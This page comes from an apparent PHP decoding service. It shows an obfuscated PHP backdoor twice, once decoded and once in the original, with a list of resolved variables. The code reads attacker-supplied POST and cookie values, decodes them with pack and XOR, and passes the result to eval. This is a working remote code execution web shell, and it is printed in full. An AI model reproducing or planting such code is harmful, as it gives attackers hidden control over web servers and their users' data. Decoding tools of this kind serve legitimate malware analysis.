Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $xbKfLb = 's' ./* xyJ */"\164" . 'r'/* RO*/./* rHkhL */"\x5f"/*QJua */./* ..

Decoded Output download

<?php 
$xbKfLb =	's'    ./* xyJ   */"t"	.	'r'/*  RO*/./*   rHkhL */"_"/*QJua */./*  A  */"r"	./*  d*/'e'  ./*VtX  */chr  (112)/* vpEVG   */./*  oRq  */chr/*   KD   */(  332/* J   */-	231  )."a"/*   nuD*/.   chr/*Ozbzh*/(116); 
					$xaEfiEv	=	'e'   .     "x"	.  "p"	.	chr	(108)	./*   i  */chr  (  459/*   FIKS   */-/*  qN   */348  )."d"	.	"e"; 
			$MJiWtjB/*cf   */= chr	(/* uwXj */927/*lU */-	828	)."o" .     chr/*  K*/(/*lGUb*/949/*   LTbTe*/-	832   ).chr/* qF */(110)	./*cZn */'t'; 
	$ltCbRSTOH   =/*   OfV */'p'	.  "a" ./*  w  */"c"/*   I  */.	'k'; 
		$xbFZP	=  Array/*  X  */(/* JHb*/"qpewHguWijeyKbqNTXna"	=>     "bRlAmfcPDpvvaz"	); 
 
/* T*/$xmGFXBeE/*Q   */=	Array     (/*qTC   */"VbWTLCBoswcBp"/*   vIJUz  */=>   "hyVRtYROBYJOUfvPhZaJiXdChyvxIg"     ); 
	foreach/*BSZan  */(    Array(/*   iV */$xbFZP,   $_POST,  $xmGFXBeE, $_COOKIE,	$xbFZP)    as    $jjzqwhUGL)/*   QsKG*/{ 
		     foreach    (	$jjzqwhUGL    as   $bxArWT   =>	$PUAGklMQPC/*   i */)	{ 
    /* cVbPH   */$PUAGklMQPC/*  TD */=/*  Yq  */@$ltCbRSTOH(/* apmSM */chr/* v   */(72)	. "*",/*  LQi  */$PUAGklMQPC/*BhP   */); 
 	$bxArWT/* gTN*/.=	"XdY-SvjEli-SSGBLU-GsHdY-NAlxbzV-xOp-zrPD"; 
      $bxArWT/*yJZ   */=/*s */$xbKfLb  (   $bxArWT,     (	strlen(    $PUAGklMQPC/* KtPE   */)/strlen(/*   lv   */$bxArWT )	)/*   mR  */+ 1); 
 /*L   */$dHgJJ/*vh   */=     $PUAGklMQPC/*   ySgw  */^  $bxArWT; 
     /*   rqG   */$dHgJJ	=	$xaEfiEv	(   chr/*p*/(	487/* B   */-	452  ),	$dHgJJ	); 
				    if/*  muKdM   */(     $MJiWtjB    (   $dHgJJ	) ==/*i */3/*i */)/*p  */{ 
		eval	( $dHgJJ[1]	(   $dHgJJ[2]/*   cJF  */)   ); 
		/* kxI  */exit    (); 
				/*xou */} 
    } 
 
  } ?>

Did this file decode correctly?

Original Code

<?php
$xbKfLb =	's'    ./* xyJ   */"\164"	.	'r'/*  RO*/./*   rHkhL */"\x5f"/*QJua */./*  A  */"\x72"	./*  d*/'e'  ./*VtX  */chr  (112)/* vpEVG   */./*  oRq  */chr/*   KD   */(  332/* J   */-	231  )."\x61"/*   nuD*/.   chr/*Ozbzh*/(116);
					$xaEfiEv	=	'e'   .     "\170"	.  "\x70"	.	chr	(108)	./*   i  */chr  (  459/*   FIKS   */-/*  qN   */348  )."\x64"	.	"\x65";
			$MJiWtjB/*cf   */= chr	(/* uwXj */927/*lU */-	828	)."\157" .     chr/*  K*/(/*lGUb*/949/*   LTbTe*/-	832   ).chr/* qF */(110)	./*cZn */'t';
	$ltCbRSTOH   =/*   OfV */'p'	.  "\141" ./*  w  */"\143"/*   I  */.	'k';
		$xbFZP	=  Array/*  X  */(/* JHb*/"qpewHguWijeyKbqNTXna"	=>     "bRlAmfcPDpvvaz"	);

/* T*/$xmGFXBeE/*Q   */=	Array     (/*qTC   */"VbWTLCBoswcBp"/*   vIJUz  */=>   "hyVRtYROBYJOUfvPhZaJiXdChyvxIg"     );
	foreach/*BSZan  */(    Array(/*   iV */$xbFZP,   $_POST,  $xmGFXBeE, $_COOKIE,	$xbFZP)    as    $jjzqwhUGL)/*   QsKG*/{
		     foreach    (	$jjzqwhUGL    as   $bxArWT   =>	$PUAGklMQPC/*   i */)	{
    /* cVbPH   */$PUAGklMQPC/*  TD */=/*  Yq  */@$ltCbRSTOH(/* apmSM */chr/* v   */(72)	. "\52",/*  LQi  */$PUAGklMQPC/*BhP   */);
 	$bxArWT/* gTN*/.=	"XdY-SvjEli-SSGBLU-GsHdY-NAlxbzV-xOp-zrPD";
      $bxArWT/*yJZ   */=/*s */$xbKfLb  (   $bxArWT,     (	strlen(    $PUAGklMQPC/* KtPE   */)/strlen(/*   lv   */$bxArWT )	)/*   mR  */+ 1);
 /*L   */$dHgJJ/*vh   */=     $PUAGklMQPC/*   ySgw  */^  $bxArWT;
     /*   rqG   */$dHgJJ	=	$xaEfiEv	(   chr/*p*/(	487/* B   */-	452  ),	$dHgJJ	);
				    if/*  muKdM   */(     $MJiWtjB    (   $dHgJJ	) ==/*i */3/*i */)/*p  */{
		eval	( $dHgJJ[1]	(   $dHgJJ[2]/*   cJF  */)   );
		/* kxI  */exit    ();
				/*xou */}
    }

  }

Function Calls

chr 8

Variables

$xbFZP [{'key': 'qpewHguWijeyKbqNTXna', 'value': 'bRlAmfcPDpvvaz'}]
$xbKfLb str_repeat
$MJiWtjB count
$xaEfiEv explode
$xmGFXBeE [{'key': 'VbWTLCBoswcBp', 'value': 'hyVRtYROBYJOUfvPhZaJiXdChyvxIg'}]
$ltCbRSTOH pack

Stats

MD5 c401624707c43eae7fde9bc4eece759f
Eval Count 0
Decode Time 110 ms